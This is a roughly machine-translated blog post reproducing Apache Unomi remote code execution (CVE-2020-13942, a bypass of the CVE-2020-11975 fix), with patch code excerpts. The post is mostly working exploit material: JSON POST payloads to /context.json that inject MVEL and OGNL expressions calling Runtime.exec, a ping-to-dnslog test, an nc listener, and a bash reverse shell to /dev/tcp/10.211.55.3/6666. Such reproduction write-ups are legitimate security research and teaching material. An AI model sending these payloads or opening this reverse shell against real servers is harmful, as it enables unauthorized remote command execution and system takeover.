当前位置:网站首页>Vulnerability recurrence ----37. Apache unomi Remote Code Execution Vulnerability (cve-2020-13942)
Vulnerability recurrence ----37. Apache unomi Remote Code Execution Vulnerability (cve-2020-13942)
2022-06-30 18:23:00 【Seven days】
List of articles
One 、Apache Unomi brief introduction
Apache Unomi( Pronunciation is “You know me”) It's a Java Open source customer data platform , One Java The server , Designed to manage customers 、 Lead and visitor data and help personalize the customer experience , It also provides rules that respect the privacy of visitors ( Such as GDPR) The function of .
Two 、CVE-2020-11975 Loophole
stay Apache Unomi<1.5.1 In the version of the , A remote attacker sends a message with MVEL and OGNL expression Request , Causes the remote code to execute , Permissions are Unomi Permission to run the application , The vulnerability number is CVE-2020-11975. and CVE-2020-13942 It's right CVE-2020-11975 Patch bypass .
2.1、CVE-2020-11975 Vulnerability code
Click to see CVE-2020-11975 Vulnerability code address
The following code snippet parses :
PropertyConditionEvaluator classbe responsible forconditions( Conditions ) Internal OGNL expressionThe calculation of / perform .
public class PropertyConditionEvaluator implements ConditionEvaluator {
...
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ExpressionAccessor accessor = getPropertyAccessor(item, expression);
return accessor != null ? accessor.get(getOgnlContext(), item) : null;
}
...
Assemble the above code , We analyze : When Unomi When receiving the following data ,Unomi How will it be carried out :
{
"condition":{
"parameterValues":{
"propertyName":"Uname1 Uname2",
"comparisonOperator":"equals",
"propertyValue":"male"
}
}
}
1、Unomi According to the user input
The attribute name (property name), lookupHard coded attributes (hardcoded properties).
2、 Can't find the , CallgetOGNLPropertyValue Method, This method willThe attribute name entered by the user (property name) As a OGNL expression, Calculation / Execute this " The attribute name ".
3、 In the calculation / perform OGNL When the expression ,ExpressionAccessorUse " Default parameters "(default parameters), This leads to arbitrary OGNL Calculation of expressions / perform .
CVE-2020-11975 OGNL Inject POC as follows :
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"":"script::Runtime r = Runtime.getRuntime(); r.exec(\"ping dnslog\");"
},
"type":"profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
2.2、CVE-2020-11975 Vulnerability repair code
change 1:OGNL The process adds SecureFilteringClassLoader
takeSecureFilteringClassLoaderAdd togetOGNLPropertyValue() Methodical OgnlContextin , To prevent calculation / Carry out arbitrary OGNL expression .
public class PropertyConditionEvaluator implements ConditionEvaluator {
...
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
return accessor != null ? accessor.get(ognlContext, item) : null;
}
...
change 2:MVEL The process adds
SecureFilteringClassLoader
takeSecureFilteringClassLoaderAdd togetOGNLPropertyValue() Methodical OgnlContextin , To prevent calculation / Carry out arbitrary OGNL expression .
public class ConditionContextHelper {
...
private static Object executeScript(Map<String, Object> context, String script) {
final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
try {
if (!mvelExpressions.containsKey(script)) {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
ParserConfiguration parserConfiguration = new ParserConfiguration();
parserConfiguration.setClassLoader(secureFilteringClassLoader);
mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
}
return MVEL.executeExpression(mvelExpressions.get(script), context);
...
change 3: Introduced
SecureFilteringClassLoader–Safely filtered ClassLoader
SecureFilteringClassLoader Class overriddenClassLoader Class loadClass() Method, stayPredefined collections (predefined set)It clearly limitsAccessible classes (accessible classes), And according to allowlist and blocklist To check the class used in the expression :
If it's a match blocklist, Throw an exception ;
If it doesn't match allowlist, Throw an exception ;
To limit the calculation / Carry out arbitrary MVEL and OGNL expression .
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
return delegate.loadClass(name);
}
3、 ... and 、CVE-2020-13942 Loophole
CVE-2020-11975 Mainly through the introduction of SecureFilteringClassLoader function , rewrite ClassLoder Class loadClass() Method , Filter out the classes used in the expression through the black-and-white list , In order to defend .
however MVEL Expressions can be used directly Instantiated classes ( example Runtime or System), No transfer loadClass(), To bypass SecureFilteringClassLoader.
Repeat step :
3.1、 perform MVEL expression
visit IP:8181 The packet capture change request is :
POST /context.json
Content-Type by :application/json
performcurl Monitor IP:port
The listener executes
nc -lvvp 6666
POC See below :
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"command\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
3.2、 perform OGNL expression
visit IP:8181 The packet capture change request is :
POST /context.json
Content-Type by :application/json
performcurl Monitor IP:port
The listener executes
nc -lvvp 6666
POC See below :
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass =#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod =#runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj= #getruntimemethod.invoke(null,null)).(#execmethod =#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{?#this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{?#this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"command\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
3.3、 rebound shell
visit IP:8181 The packet capture change request is :
POST /context.json
Content-Type by :application/json
performbash -i >& /dev/tcp/10.211.55.3/6666 0>&1, Need to carry out base64 encryption .
The listener executes
nc -lvvp 6666
Reference resources : https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L81-L89 https://github.com/apache/unomi/commit/823386ab117d231df15eab4cb4b7a98f8af546ca
https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
边栏推荐
- ASP. Net password encryption and password login
- Synchronized summary
- 漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)
- Apache 解析漏洞(CVE-2017-15715)_漏洞复现
- NFT挖矿游GameFi链游系统开发搭建
- Post penetration file system + uploading and downloading files
- Openlayers roller shutter map
- [cloud resident co creation] Huawei iconnect enables IOT terminals to connect at one touch
- Nft: unlimited possibilities to open the era of encryption Art
- One script of unity actual combat realizes radar chart
猜你喜欢

Redis (IX) - enterprise level solution (II)

Research on the principle of Tencent persistence framework mmkv

港科大&MSRA新研究:关于图像到图像转换,Finetuning is all you need

Shortcut keys for the rainbow brackets plug-in

DeFi借贷协议机制对比:Euler、Compound、Aave和Rari Capital

助力极致体验,火山引擎边缘计算最佳实践

Importing alicloud ECS locally to solve deployment problems

autocad中文语言锁定只读警报怎么解决?

Deep understanding of JVM (I) - memory structure (I)

ABAP publish restful service
随机推荐
Tensorflow2 深度学习十必知
后渗透之文件系统+上传下载文件
漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)
Ardunio esp32 DH11 real time uploading temperature and humidity Alibaba cloud self built mqtt
Tencent cloud installs MySQL database
Shortcut keys for the rainbow brackets plug-in
Flink series: checkpoint tuning
Design of online shopping mall based on SSH
MySQL advanced - index optimization (super detailed)
Post MSF infiltration summary
Apache 解析漏洞(CVE-2017-15715)_漏洞复现
漏洞复现----35、uWSGI PHP 目录遍历漏洞 (CVE-2018-7490)
联想“双平台”运维解决方案 助力智慧医疗行业智慧管理能力全面提升
Deep understanding of JVM (III) - memory structure (III)
ASP. Net generate verification code
AnimeSR:可学习的降质算子与新的真实世界动漫VSR数据集
.NET ORM框架HiSql实战-第一章-集成HiSql
Do fresh students get a job or choose a job after graduation?
Animesr: learnable degradation operator and new real world animation VSR dataset
Tensorflow2 ten must know for deep learning





